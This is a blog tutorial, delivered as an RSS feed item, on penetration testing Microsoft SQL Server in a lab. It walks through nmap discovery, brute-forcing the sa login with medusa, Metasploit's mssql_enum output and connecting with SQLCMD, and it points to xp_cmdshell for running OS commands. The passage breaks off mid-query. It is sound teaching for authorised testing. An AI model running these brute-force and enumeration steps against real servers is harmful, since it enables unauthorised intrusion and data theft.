<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title />
	
	<link>http://travisaltman.com</link>
	<description />
	<lastBuildDate>Tue, 31 Jan 2012 02:25:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/travisaltman" /><feedburner:info uri="travisaltman" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Pen test and hack microsoft sql server (mssql)</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/N6L2dmdbYO0/</link>
		<comments>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 04:45:34 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[databases]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=446</guid>
		<description><![CDATA[All the information I&#8217;m about to go over is nothing new, I&#8217;m just trying to organize all my notes on pen testing mssql. Hopefully my notes will help others. All the commands and instructions are Linux based so keep that in mind.
The first thing you&#8217;ll need to do is discover IP addresses that have mssql [...]]]></description>
			<content:encoded><![CDATA[<p>All the information I&#8217;m about to go over is nothing new, I&#8217;m just trying to organize all my notes on pen testing mssql. Hopefully my notes will help others. All the commands and instructions are Linux based so keep that in mind.</p>
<p>The first thing you&#8217;ll need to do is discover IP addresses that have mssql running. So you&#8217;ll accomplish this by running some type of scan. The scanner of choice is always <a href="http://nmap.org/" target="_blank">nmap</a> but there are some things you&#8217;ll need to consider when scanning for mssql. The default port for mssql is 1433 but just like with any service it can listen any port. So for starters it&#8217;s definitely a good idea to scan an IP range looking for port 1433.</p>
<p>Step 1 scan for port 1433, this can be done using the following nmap command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -p 1433 192.168.134.130-140</div></div>
<p>This will only scan for port 1433 on host 130-140, your IP range will vary. My output is below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-07 23:38 EST<br />
Nmap scan report for 192.168.134.131<br />
Host is up (0.00012s latency)<br />
PORT     STATE  SERVICE<br />
1433/tcp closed ms-sql-s<br />
<br />
Nmap scan report for 192.168.134.132<br />
Host is up (0.00032s latency)<br />
PORT     STATE SERVICE<br />
1433/tcp open  ms-sql-s<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Nmap done: 11 IP addresses (2 hosts up) scanned in 0.86 seconds</div></div>
<p>In this case the 131 host port is closed but the 132 host has port 1433 open. So great success we&#8217;ve found a box running mssql. Hold your horses because this is simply the beginning. If you&#8217;re scanning is focused then this type of scan is fine, meaning I&#8217;m not scanning thousands of hosts I&#8217;m only focused on a handful of hosts. If I&#8217;m only concerned about scanning a handful of hosts then my next step would be to determine two things.</p>
<ol>
<li>Version of the database</li>
<li>Are there any other additional listening ports for this database</li>
</ol>
<p>To determine the version of the database we can once again turn to nmap.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -p 1433 -A 192.168.134.132</div></div>
<p>The &#8220;-A&#8221; option will try and determine as much information as it can about the service on port 1433 in this case. The &#8220;-A&#8221; option will also try and determine the underlying OS running as well. Below is the output from this scan.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-08 09:19 EST<br />
Nmap scan report for 192.168.134.132<br />
Host is up (0.0044s latency).<br />
PORT &nbsp; &nbsp; STATE SERVICE &nbsp;VERSION<br />
1433/tcp open &nbsp;ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br />
Device type: general purpose<br />
Running: Microsoft Windows 2003<br />
OS details: Microsoft Windows Server 2003 SP1 or SP2<br />
Network Distance: 1 hop<br />
<br />
Host script results:<br />
| ms-sql-info:<br />
| &nbsp; Windows server name: WIN2003<br />
| &nbsp; [192.168.134.132\MSSQLSERVER]<br />
| &nbsp; &nbsp; Instance name: MSSQLSERVER<br />
| &nbsp; &nbsp; Version: Microsoft SQL Server 2005 RTM<br />
| &nbsp; &nbsp; &nbsp; Version number: 9.00.1399.00<br />
| &nbsp; &nbsp; &nbsp; Product: Microsoft SQL Server 2005<br />
| &nbsp; &nbsp; &nbsp; Service pack level: RTM<br />
| &nbsp; &nbsp; &nbsp; Post-SP patches applied: No<br />
| &nbsp; &nbsp; TCP port: 1433<br />
| &nbsp; &nbsp; Named pipe: \\192.168.134.132\pipe\sql\query<br />
|_ &nbsp; &nbsp;Clustered: No</div></div>
<p>So you&#8217;ll notice in the output nmap is reporting the version of mssql to be SQL Server 2005 which is correct in this case. Knowing the version is very important because different versions of SQL Server provide different security features and also have different vulnerabilities. There are other ways of determining the version of sql server without authenticating but to me nmap is the best solution.</p>
<p>Next let&#8217;s talk about looking for other ports that mssql may be listening on. For multiple reasons, like load balancing, mssql can listen on multiple ports. When pen testing mssql we want to know what those ports are so we can bang against them. Depending on the configuration you can authenticate to every listening mssql port. One thing to keep in mind is that you can authenticate to mssql using your normal windows / network / active directory credentials or you can authenticate using an account that was setup on the mssql server. This is basically known as windows authentication or sql authentication. When setting up the sql server and ports the database administrator will have to configure on how this authentication takes place. The easier target is using sql credentials as those are typically configured with a weaker password policy. Now that I&#8217;ve discussed some of the issues let&#8217;s get cracking. So to determine additional ports that a database may be running on we&#8217;ll once again turn to nmap. This time I told mssql to also listen on port 1444 and 1433.</p>
<p><a href="http://travisaltman.com/wp-content/multiplePortsMssql.png"><img class="aligncenter size-full wp-image-463" title="multiplePortsMssql" src="http://travisaltman.com/wp-content/multiplePortsMssql.png" alt="" width="500" height="341" /></a></p>
<p>So now go ahead and run the same nmap command as before.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -A -p 1433 192.168.134.132<br />
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-12 13:54 EST<br />
Nmap scan report for 192.168.134.132<br />
Host is up (0.0036s latency).<br />
PORT     STATE SERVICE  VERSION<br />
1433/tcp open  ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM<br />
MAC Address: 00:0C:29:4C:37:8E (VMware)<br />
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br />
Device type: general purpose<br />
Running: Microsoft Windows 2003<br />
OS details: Microsoft Windows Server 2003 SP1 or SP2<br />
Network Distance: 1 hop<br />
Service Info: OS: Windows<br />
Host script results:<br />
| ms-sql-info:<br />
|   Windows server name: WIN2003<br />
|   [192.168.134.132\MSSQLSERVER]<br />
|     Instance name: MSSQLSERVER<br />
|     Version: Microsoft SQL Server 2005 RTM<br />
|       Version number: 9.00.1399.00<br />
|       Product: Microsoft SQL Server 2005<br />
|       Service pack level: RTM<br />
|       Post-SP patches applied: No<br />
|     TCP port: 1444<br />
|     Named pipe: \\192.168.134.132\pipe\sql\query<br />
|     Clustered: No<br />
|   [192.168.134.132:1433]<br />
|     Version: Microsoft SQL Server 2005 RTM<br />
|       Version number: 9.00.1399.00<br />
|       Product: Microsoft SQL Server 2005<br />
|       Service pack level: RTM<br />
|       Post-SP patches applied: No<br />
|_    TCP port: 1433</div></div>
<p>So we see that nmap reports back ports 1444 and 1433 are listening. You may be wondering how nmap knew that port 1444 was open. MSSQL runs a service called the &#8220;browser service&#8221; which runs on port 1434 and uses UDP instead of TCP. If this browser service wasn&#8217;t running nmap wouldn&#8217;t be able to pull this information. Basically nmap queries port 1434 asking for any other instances that are running on different ports. It does this using the <a href="http://nmap.org/nsedoc/scripts/ms-sql-info.html" target="_blank">mssql nmap script</a>. There are a couple of other tools <a href="http://packetstormsecurity.org/files/24465/sqlping.c" target="_blank">here</a> and<a href="http://www.metasploit.com/modules/auxiliary/scanner/mssql/mssql_ping" target="_blank"> here</a> that do the same thing but I stick with nmap since it&#8217;s already baked in. So the browser service and additional ports is a very important to keep in mind when pen testing mssql.</p>
<p>Now we have more information about our target which hopefully means we&#8217;ll find a weak spot that we can exploit. Once you know the version it&#8217;s always recommended to search <a href="http://cve.mitre.org/cve/cve" target="_blank">CVE (common vulnerabilities and weaknesses)</a> and it may also not be a bad idea to search inside the <a href="http://metasploit.com/" target="_blank">metasploit</a> tool as well. There aren&#8217;t a whole lot of remote code execution vulnerabilities for anything SQL Server 2005 and beyond but it&#8217;s always worth checking just to make sure. So if they aren&#8217;t running an old unpatched version of mssql then that means you&#8217;ll need credentials to authenticate to the sql server. This means we&#8217;ll need to try and brute force the credentials. The main tool I like to use to perform <a href="http://www.foofus.net/~jmk/medusa/medusa.html" target="_blank">brute force attacks is medusa</a>, another good alternative is <a href="http://thc.org/thc-hydra/" target="_blank">hydra</a>. I have had different degrees of luck with both tools so it may be useful to run both tools although my default is medusa. I will only cover how to use medusa, below is the typical command line options that you feed into medusa.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput.txt -M mssql</div></div>
<p>The -h is the host, the -U is the username list, -P is the password list, -O is the output file, -M is the module you want to run against in this case it&#8217;s mssql. Below is the output of this command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks<br />
<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]</div></div>
<p>Your output file resemble the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# cat medusaOutput.txt<br />
# Medusa v.2.0 (2011-12-12 22:59:43)<br />
# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]<br />
# Medusa has finished (2011-12-12 22:59:46).</div></div>
<p>The file output is much easier to parse and we can see in the next to last line that it was successful in finding credentials of username = sa and password = password. By default medusa will run against the standard port which is 1433 in this case, if you want medusa to run against a non standard port you&#8217;ll need to include the &#8220;-n&#8221; option.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# medusa -h 192.168.134.132 -U dictionary.txt -P dictionary.txt -O medusaOutput -M mssql -n 1444<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks<br />
<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: admin (1 of 3, 0 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: password (2 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: password (2 of 3, 1 complete) Password: sa (3 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: admin (1 of 3 complete)<br />
ACCOUNT CHECK: [mssql] Host: 192.168.134.132 (1 of 1, 0 complete) User: sa (3 of 3, 2 complete) Password: password (2 of 3 complete)<br />
ACCOUNT FOUND: [mssql] Host: 192.168.134.132 User: sa Password: password [SUCCESS]</div></div>
<p>So you see that medusa was able to authenticate to port 1444 with the same username and password. This may not always be the case. With mssql you can configure different ports with different credentials so it&#8217;s always best to run a brute force tool like medusa on each individual port and see if you get any hits. Medusa and hydra can take a while to run in my case I had a very small dictionary seen below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# cat dictionary.txt<br />
admin<br />
password<br />
sa</div></div>
<p>Large dictionaries can take some time to run so keep that in mind when you&#8217;re brute forcing using these kinds of tools. So we got lucky and we credentials for a mssql database, that&#8217;s awesome but it&#8217;s just another step in the process. Going forward we have a couple of options. As a true attacker you would consider the following options.</p>
<ol>
<li>Plunder the database for information</li>
<li>Use your credentials to gain further access (e.g. administrator on the underlying operating system)</li>
<li>Start serving up malware for potential victims</li>
</ol>
<p>I&#8217;m not going to touch on the third option but I will discuss the first and second option. So for the first option once we have credentials we can start to query the database. In this scenario I&#8217;ve got the best kind of credentials you can ask for on a mssql database which is the &#8220;sa&#8221; user. This will not always be the case but it&#8217;s the example I&#8217;ve chosen to follow. One good thing to run with credentials is <a href="http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_enum" target="_blank">metasploit&#8217;s enum tool</a>. This module basically gives you an overview of the sql server configuration and some note worthy security related configurations. Below is how to use mssql_enum.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use auxiliary/admin/mssql/mssql_enum<br />
msf &nbsp;auxiliary(mssql_enum) &gt; info<br />
<br />
Name: Microsoft SQL Server Configuration Enumerator<br />
Module: auxiliary/admin/mssql/mssql_enum<br />
Version: 14288<br />
License: Metasploit Framework License (BSD)<br />
Rank: Normal<br />
<br />
Provided by:<br />
Carlos Perez<br />
<br />
Basic options:<br />
Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Current Setting &nbsp;Required &nbsp;Description<br />
---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --------------- &nbsp;-------- &nbsp;-----------<br />
PASSWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The password for the specified username<br />
RHOST &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; yes &nbsp; &nbsp; &nbsp; The target address<br />
RPORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1433 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; yes &nbsp; &nbsp; &nbsp; The target port<br />
USERNAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sa &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;The username to authenticate as<br />
USE_WINDOWS_AUTHENT &nbsp;false &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;yes &nbsp; &nbsp; &nbsp; Use windows authentification<br />
<br />
Description:<br />
This module will perform a series of configuration audits and<br />
security checks against a Microsoft SQL Server database. For this<br />
module to work, valid administrative user credentials must be<br />
supplied.<br />
<br />
msf &nbsp;auxiliary(mssql_enum) &gt; set rhost 192.168.134.132<br />
rhost =&gt; 192.168.134.132<br />
msf &nbsp;auxiliary(mssql_enum) &gt; set password password<br />
password =&gt; password<br />
msf &nbsp;auxiliary(mssql_enum) &gt; run</div></div>
<p>Below is the output of running the tool.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[*] Running MS SQL Server Enumeration...<br />
[*] Version:<br />
[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
[*] &nbsp; &nbsp; Oct 14 2005 00:33:37<br />
[*] &nbsp; &nbsp; Copyright (c) 1988-2005 Microsoft Corporation<br />
[*] &nbsp; &nbsp; Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
[*] Configuration Parameters:<br />
[*] &nbsp; &nbsp; C2 Audit Mode is Not Enabled<br />
[*] &nbsp; &nbsp; xp_cmdshell is Not Enabled<br />
[*] &nbsp; &nbsp; remote access is Enabled<br />
[*] &nbsp; &nbsp; allow updates is Not Enabled<br />
[*] &nbsp; &nbsp; Database Mail XPs is Not Enabled<br />
[*] &nbsp; &nbsp; Ole Automation Procedures are Not Enabled<br />
[*] Databases on the server:<br />
[*] &nbsp; &nbsp; Database name:master<br />
[*] &nbsp; &nbsp; Database Files for master:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf<br />
[*] &nbsp; &nbsp; Database name:tempdb<br />
[*] &nbsp; &nbsp; Database Files for tempdb:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\templog.ldf<br />
[*] &nbsp; &nbsp; Database name:model<br />
[*] &nbsp; &nbsp; Database Files for model:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\model.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\modellog.ldf<br />
[*] &nbsp; &nbsp; Database name:msdb<br />
[*] &nbsp; &nbsp; Database Files for msdb:<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBData.mdf<br />
[*] &nbsp; &nbsp; &nbsp; &nbsp; C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\MSDBLog.ldf<br />
[*] System Logins on this Server:<br />
[*] &nbsp; &nbsp; sa<br />
[*] &nbsp; &nbsp; ##MS_SQLResourceSigningCertificate##<br />
[*] &nbsp; &nbsp; ##MS_SQLReplicationSigningCertificate##<br />
[*] &nbsp; &nbsp; ##MS_SQLAuthenticatorCertificate##<br />
[*] &nbsp; &nbsp; ##MS_AgentSigningCertificate##<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER<br />
[*] Disabled Accounts:<br />
[*] &nbsp; &nbsp; No Disabled Logins Found<br />
[*] No Accounts Policy is set for:<br />
[*] &nbsp; &nbsp; All System Accounts have the Windows Account Policy Applied to them.<br />
[*] Password Expiration is not checked for:<br />
[*] &nbsp; &nbsp; sa<br />
[*] System Admin Logins on this Server:<br />
[*] &nbsp; &nbsp; sa<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] Windows Logins on this Server:<br />
[*] &nbsp; &nbsp; NT AUTHORITY\SYSTEM<br />
[*] Windows Groups that can logins on this Server:<br />
[*] &nbsp; &nbsp; BUILTIN\Administrators<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSSQLUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005SQLAgentUser$WIN2003$MSSQLSERVER<br />
[*] &nbsp; &nbsp; WIN2003\SQLServer2005MSFTEUser$WIN2003$MSSQLSERVER<br />
[*] Accounts with Username and Password being the same:<br />
[*] &nbsp; &nbsp; No Account with its password being the same as its username was found.<br />
[*] Accounts with empty password:<br />
[*] &nbsp; &nbsp; No Accounts with empty passwords where found.<br />
[*] Stored Procedures with Public Execute Permission found:<br />
[*] &nbsp; &nbsp; sp_replsetsyncstatus<br />
[*] &nbsp; &nbsp; sp_replcounters<br />
[*] &nbsp; &nbsp; sp_replsendtoqueue<br />
[*] &nbsp; &nbsp; sp_resyncexecutesql<br />
[*] &nbsp; &nbsp; sp_prepexecrpc<br />
[*] &nbsp; &nbsp; sp_repltrans<br />
[*] &nbsp; &nbsp; sp_xml_preparedocument<br />
[*] &nbsp; &nbsp; xp_qv<br />
[*] &nbsp; &nbsp; xp_getnetname<br />
[*] &nbsp; &nbsp; sp_releaseschemalock<br />
[*] &nbsp; &nbsp; sp_refreshview<br />
[*] &nbsp; &nbsp; sp_replcmds<br />
[*] &nbsp; &nbsp; sp_unprepare<br />
[*] &nbsp; &nbsp; sp_resyncprepare<br />
[*] &nbsp; &nbsp; sp_createorphan<br />
[*] &nbsp; &nbsp; xp_dirtree<br />
[*] &nbsp; &nbsp; sp_replwritetovarbin<br />
[*] &nbsp; &nbsp; sp_replsetoriginator<br />
[*] &nbsp; &nbsp; sp_xml_removedocument<br />
[*] &nbsp; &nbsp; sp_repldone<br />
[*] &nbsp; &nbsp; sp_reset_connection<br />
[*] &nbsp; &nbsp; xp_fileexist<br />
[*] &nbsp; &nbsp; xp_fixeddrives<br />
[*] &nbsp; &nbsp; sp_getschemalock<br />
[*] &nbsp; &nbsp; sp_prepexec<br />
[*] &nbsp; &nbsp; xp_revokelogin<br />
[*] &nbsp; &nbsp; sp_resyncuniquetable<br />
[*] &nbsp; &nbsp; sp_replflush<br />
[*] &nbsp; &nbsp; sp_resyncexecute<br />
[*] &nbsp; &nbsp; xp_grantlogin<br />
[*] &nbsp; &nbsp; sp_droporphans<br />
[*] &nbsp; &nbsp; xp_regread<br />
[*] &nbsp; &nbsp; sp_getbindtoken<br />
[*] &nbsp; &nbsp; sp_replincrementlsn<br />
[*] Instances found on this server:<br />
[*] &nbsp; &nbsp; MSSQLSERVER<br />
[*] Default Server Instance SQL Server Service is running under the privilege of:<br />
[*] &nbsp; &nbsp; LocalSystem<br />
[*] Auxiliary module execution completed</div></div>
<p>I&#8217;m not going to go through this entire output but all of it is relevant to security configuration. Things to note are permissions which the service runs as, password settings (e.g. account lock outs, password expiration), and stored procedures that are available. You can read more about <a href="http://msdn.microsoft.com/en-us/library/aa174792(v=sql.80).aspx?ppud=4" target="_blank">stored procedures</a> but the main thing to know is that they extend the functionality of mssql by giving easy access to common tasks such as granting access to a database. The one stored procedure every pen tester wants access to is the mighty <a href="http://msdn.microsoft.com/en-us/library/aa260689(v=sql.80).aspx" target="_blank">xp_cmdshell</a> which allows you to execute operating system commands with a database call. So information that you can obtain, xp_cmdshell enabled or disabled, about the database will help you to further assess or pen test the setup. Going forward it&#8217;s best to have some sort of mssql client so that you can make sql queries to the database. I&#8217;m a fan of keeping things lightweight so I prefer command line clients and not GUI (graphical user interface) clients. So for accessing mssql from Linux I recommend <a href="http://www.sqsh.org/" target="_blank">sqsh</a> and as for accessing from a windows PC I like the Microsoft SQL Server Command Line Utilities which will first require an install of the Microsoft SQL Server Native Client, both <a href="http://www.microsoft.com/download/en/details.aspx?id=16978" target="_blank">microsoft tools can be found here</a>. Now we&#8217;ll get items of interest such as stored procedures but first let&#8217;s use one of the clients mentioned to access and run some sql queries. The syntax for both clients is very similar but first let&#8217;s look at the microsoft client. You&#8217;ll first need to change to the proper folder where the sql client was installed.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.<br />
<br />
C:\WINDOWS\system32&gt;cd &quot;c:\Program Files\Microsoft SQL Server\90\Tools\binn&quot;<br />
<br />
C:\Program Files\Microsoft SQL Server\90\Tools\binn&gt;</div></div>
<p>So to connect to 192.168.134.132 run the following command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SQLCMD.exe -S 192.168.134.132 -U sa</div></div>
<p>Below are the basic options for this command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">-S for server name (IP or name)<br />
-U for user name<br />
-P for password (will prompt if not supplied)</div></div>
<p>After you&#8217;ve run the above command you should see the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Program Files\Microsoft SQL Server\90\Tools\binn&gt;SQLCMD.EXE -S 192.168.134.132 -U sa<br />
Password:<br />
1&gt;</div></div>
<p>So the &#8220;1&gt;&#8221; is the prompt where you will enter your sql commands, let&#8217;s just run a basic sql query to confirm everything works, we&#8217;ll query for the version in this case.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; select @@version<br />
2&gt; go<br />
<br />
